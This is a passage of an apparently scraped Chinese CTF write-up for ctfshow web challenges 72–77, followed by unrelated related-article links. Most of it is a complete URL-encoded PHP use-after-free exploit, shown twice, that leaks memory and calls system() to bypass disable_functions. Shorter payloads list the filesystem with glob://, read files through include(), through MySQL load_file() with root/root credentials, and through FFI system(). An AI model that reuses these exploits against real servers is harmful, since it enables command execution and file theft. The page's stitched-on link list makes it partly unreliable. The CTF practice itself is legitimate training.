2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20WIN))%20%7B%0A%20%20%20%20%20%20%20%20die(This%20PoC%20is%20for%20*nix%20systems%20only.)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)%3B%0A%0A%20%20%20%20trigger_uaf(x)%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5Bargs%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3Eweb73 继续用伪协议读取 c??php $anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );} exit(0);?发现相比 72修改了名字 看看读取 cfunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5Bargs%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20WIN))%20%7B%0A%20%20%20%20%20%20%20%20die(This%20PoC%20is%20for%20*nix%20systems%20only.)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)%3B%0A%0A%20%20%20%20trigger_uaf(x)%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5Bargs%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldnt%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflagc.txt%22)%3Bob_end_flush()%3B%0A%3F%3E发现uaf失败 那我们直接读取呢 cinclude(/flagc.txt);exit(0); 发现没有过滤 include 相比 72 禁用了 uaf 但是 没有禁用include web74 c??php $anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );} exit(0);?然后include即可 cinclude(/flagx.txt);exit(0); web75 PDD执行读取文件 c??php $anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );} exit(0);?include 被ban UAF被ban 那我们只能调用进程来读取文件 ctry {$dbh new PDO(mysql:hostlocalhost;dbnamectftraining, root,root);foreach($dbh-query(select load_file(/flag36.txt)) as $row){echo($row[0]).|; }$dbh null;}catch (PDOException $e) {echo $e-getMessage();exit(0);}exit(0); 解释一下 $dbh new PDO(mysql:hostlocalhost;dbnamectftraining, root, root);设置 dbh 为 pdo对象 内容为 mysql 本地 数据库命 登入弱口令foreach($dbh-query(select load_file(/flag36.txt)) as $row)使用 query 执行命令 读取 flag36.txt文件内容 作为 row变量echo($row[0]).|; 将查询第一列输出$dbh null; 关闭数据连接catch (PDOException $e) {echo $e-getMessage();exit(0);}如果出现异常 那么就输出异常 并且退出exit(0); 绕过缓冲区清理 web76 c??php $anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );} exit(0);?ctry {$dbh new PDO(mysql:hostlocalhost;dbnamectftraining, root,root);foreach($dbh-query(select load_file(/flag36d.txt)) as $row){echo($row[0]).|; }$dbh null;}catch (PDOException $e) {echo $e-getMessage();exit(0);}exit(0); web77  FFI (PHP 7 7.4.0, PHP 8) 发现进程读取失败 这里又给出一个方法 FFI c$ffi FFI::cdef(int system(const char *command);); $a/readflag 1.txt; $ffi-system($a);c$ffi FFI::cdef(int system(const char *command););设置 ffI变量 通过 FFI的cdef方法定义system函数的原型然后设置变量 $a为 读取flag命令 并且重定位到 1.txt通过 ffi变量执行 命令 最后访问1.txt
http://www.hkea.cn/news/14334333/

相关文章:

  • 基于网站的网络营销方法有哪些有没有咨询求助做任务的网站
  • 教如何做帐哪个网站好项目营销推广策划
  • 网页设计如何建立网站网店代理免费一件代发
  • 服装加工厂网站建设方案计划书常用网站开发工具
  • 成都网站开发企业自己做小卡用什么软件
  • 京东网站建设流程图对网站开发课程的建议
  • 全球最大的平面设计网站html5快速建站
  • 外贸网站建设注意事项和建议浙江联科网站开发
  • 洛阳网站建设制作多少钱北京市住房建设投资建设网站
  • 网站建设与管理心得体会和总结签约做网站模板
  • 莆田网站建设收费标准网页制作培训苏州
  • 网站设计师图片至少保存十个以上域名网站
  • 怎么查询公司网站备案虚拟货币交易网站建设
  • 医药网站前置审批设计logo的软件有哪些
  • 网站建设收费标准行情中云建设集团网站
  • 凉山建设机械网站企业官方网站需要备案吗
  • 建设局网站管理办法湘潭关键词优化报价
  • 制作网站教学宣传产品网站
  • 手机网站和电脑网站一样吗兴县做网站的公司
  • 绍兴手机网站制作郑州网站建设方案书
  • 定制东莞网站制作公司丽水网站建设
  • 网站后台多个管理员免费一键生成个人网站
  • 有没有接做网站私活的平台扁平化网站设计欣赏
  • 青岛网站设计制作百度举报网站
  • 房地产网站模版成都市城乡建设网站
  • 网站风格设计如何做网络营销推广方案
  • 评测网站做的那些条形图男做基视频网站
  • 电子产品网站建设硬件开发软件有哪些
  • 做网站的收获php网站开发需要学什么软件
  • 济南网站假设推广网络营销是一种什么专业